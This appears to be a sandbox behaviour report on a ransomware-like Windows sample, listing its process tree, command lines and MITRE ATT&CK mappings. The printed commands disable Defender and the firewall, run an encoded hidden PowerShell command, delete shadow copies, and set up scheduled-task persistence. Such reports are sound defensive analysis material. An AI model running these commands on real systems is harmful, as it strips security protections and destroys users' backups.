PID 5000 wrote to memory of 5988	5000	hotel-cz.com_chrome.exe	144
PID 5000 wrote to memory of 4456	5000	hotel-cz.com_chrome.exe	115
PID 5000 wrote to memory of 4640	5000	hotel-cz.com_chrome.exe	117
PID 5000 wrote to memory of 436	5000	hotel-cz.com_chrome.exe	136
PID 4640 wrote to memory of 4264	4640	fodhelper.exe	133
PID 5000 wrote to memory of 4092	5000	hotel-cz.com_chrome.exe	121
PID 5000 wrote to memory of 1300	5000	hotel-cz.com_chrome.exe	123
PID 5000 wrote to memory of 5128	5000	hotel-cz.com_chrome.exe	194
PID 5000 wrote to memory of 4784	5000	hotel-cz.com_chrome.exe	170
PID 5000 wrote to memory of 3808	5000	hotel-cz.com_chrome.exe	169
PID 5000 wrote to memory of 4264	5000	hotel-cz.com_chrome.exe	133
PID 5000 wrote to memory of 3312	5000	hotel-cz.com_chrome.exe	139
PID 5000 wrote to memory of 2276	5000	hotel-cz.com_chrome.exe	141
PID 5000 wrote to memory of 5184	5000	hotel-cz.com_chrome.exe	143
PID 5000 wrote to memory of 5988	5000	hotel-cz.com_chrome.exe	144
PID 5000 wrote to memory of 4116	5000	hotel-cz.com_chrome.exe	145
PID 5000 wrote to memory of 1664	5000	hotel-cz.com_chrome.exe	146
PID 5000 wrote to memory of 3464	5000	hotel-cz.com_chrome.exe	147
PID 5000 wrote to memory of 396	5000	hotel-cz.com_chrome.exe	148
PID 5000 wrote to memory of 3220	5000	hotel-cz.com_chrome.exe	149
PID 5000 wrote to memory of 1824	5000	hotel-cz.com_chrome.exe	157
PID 5000 wrote to memory of 596	5000	hotel-cz.com_chrome.exe	158
PID 5000 wrote to memory of 1304	5000	hotel-cz.com_chrome.exe	183
PID 5000 wrote to memory of 1392	5000	hotel-cz.com_chrome.exe	160
PID 5000 wrote to memory of 3120	5000	hotel-cz.com_chrome.exe	161
PID 5000 wrote to memory of 128	5000	hotel-cz.com_chrome.exe	162
PID 5000 wrote to memory of 1204	5000	hotel-cz.com_chrome.exe	163
PID 5988 wrote to memory of 4784	5988	cmd.exe	170
PID 2276 wrote to memory of 3700	2276	cmd.exe	178
PID 5184 wrote to memory of 4592	5184	cmd.exe	172
PID 1664 wrote to memory of 5216	1664	cmd.exe	173
PID 4116 wrote to memory of 3504	4116	cmd.exe	174
PID 396 wrote to memory of 1984	396	cmd.exe	175
PID 5216 wrote to memory of 5048	5216	net.exe	176
PID 1392 wrote to memory of 4100	1392	net.exe	177
PID 3464 wrote to memory of 3700	3464	cmd.exe	178
PID 2276 wrote to memory of 4224	2276	cmd.exe	179
PID 1988 wrote to memory of 3404	1988	chrome.exe	181
PID 1988 wrote to memory of 1536	1988	chrome.exe	182
PID 1988 wrote to memory of 1304	1988	chrome.exe	183
PID 1988 wrote to memory of 1536	1988	chrome.exe	182
PID 1988 wrote to memory of 1304	1988	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://hotel-cz.com
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa8640c728,0x7ffa8640c734,0x7ffa8640c740
    3⤵
    PID:5968
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1468,i,9906504663810797900,8213860454014078420,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:11
    3⤵
    - System Time Discovery
    PID:52
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,2352148426763794550,951277316295259406,262144 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:5360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2192,i,15516529352170274269,6858345720401974410,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:13
    3⤵
    PID:616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,6947709731502033620,4321701183738657544,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:1
    3⤵
    PID:868
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3132,i,17804040328891517156,5004654517349748519,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:1
    3⤵
    PID:3676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4660,i,4392932827391779056,3376727190819182428,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=4672 /prefetch:14
    3⤵
    PID:4432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4828,i,15861155051984999343,3390097888767462765,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:1
    3⤵
    PID:5076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=256,i,14028006144407875944,7570086795999215779,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:14
    3⤵
    PID:3404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5624,i,3391403173365989843,15447975981434264145,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:1
    3⤵
    PID:1536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5636,i,6491228940841764302,5117136569036274862,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:1
    3⤵
    PID:1304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3432,i,8798703381738995165,16578247509161087378,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:1
    3⤵
    PID:4812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5900,i,4137607609185718158,17276242968760237273,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:1
    3⤵
    PID:1952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6044,i,6234989300279328573,743969425798805020,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:14
    3⤵
    PID:3600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6008,i,2953696303066288553,14704359954381220353,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:1
    3⤵
    PID:5080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5292,i,12863312862300526112,5808527419286298252,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:1
    3⤵
    PID:3940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6024,i,11860173956250568045,11313058491173260520,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:1
    3⤵
    PID:5908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4976,i,18374507851455853106,3889393702572230450,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:14
    3⤵
    PID:3676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5768,i,12705906319974943978,6610202696606067337,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5184 /prefetch:14
    3⤵
    PID:2292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5664,i,321291100106255665,13593324925274619510,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:14
    3⤵
    PID:5128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5968,i,3916430957115451592,12858055295207592701,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:1
    3⤵
    PID:792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4836,i,16608578276676503687,18282342837868691636,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:14
    3⤵
    PID:4364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4952,i,5633166463166953322,14205532166803132637,524288 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:14
    3⤵
    PID:4444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5800,i,3076437688666097413,13855242208899617084,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:9
    3⤵
    PID:720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5676,i,9834142279854330264,11758468121595600003,2097152 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:1
    3⤵
    PID:1612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5764,i,16004085479244122519,6075692109898129819,262144 --field-trial-handle=1912,i,16492960679336657945,17857956207477890383,262144 --variations-seed-version --mojo-platform-channel-handle=5776 /prefetch:10
    3⤵
    PID:5408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5452
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1404
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3700
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5624
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5988
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4456
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe"
    3⤵
    PID:4264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:436
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4092
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1300
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5128
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4784
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3808
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4264
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3700
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4224
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5184
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5988
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3504
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1664
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5216
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3700
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:396
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1984
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3220
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1824
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:596
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3808
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1304
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4100
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3120
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:128
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1204

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5784

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5600

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:436

C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe
1⤵
PID:1596

C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\hotel-cz.com_chrome.exe
1⤵
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4144

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery